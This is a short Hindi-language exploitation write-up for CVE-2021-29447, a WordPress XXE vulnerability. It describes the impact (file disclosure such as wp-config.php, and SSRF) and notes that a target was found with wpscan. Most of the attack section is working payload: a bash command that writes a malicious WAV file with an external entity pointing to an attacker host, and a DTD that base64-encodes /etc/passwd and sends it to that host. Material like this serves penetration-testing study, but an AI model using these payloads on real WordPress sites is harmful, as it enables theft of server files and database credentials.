CVE-2021-29447

प्रभाव

मनमाना फ़ाइल प्रकटीकरण: होस्ट के फ़ाइल सिस्टम पर किसी भी फ़ाइल की सामग्री प्राप्त की जा सकती है, जैसे wp-config.php जिसमें डेटाबेस क्रेडेंशियल जैसी संवेदनशील जानकारी होती है। सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF): WordPress इंस्टॉलेशन की ओर से HTTP अनुरोध किए जा सकते हैं। वातावरण के आधार पर, इसके गंभीर परिणाम हो सकते हैं। कमजोरी का शोषण करना

इस कमजोरी से प्रभावित एक वर्डप्रेस साइट की पहचान wpscan टूल की सहायता से गणना प्रक्रिया में की गई है।

एक दुर्भावनापूर्ण WAV फ़ाइल बनाना

यह बहुत आसान है, अपने bash कंसोल में

nano poc.wav echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

अपने हमलावर पीसी पर एक dtd बनाएं जिसमें कोड वेब सर्वर पर निष्पादित हो।

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >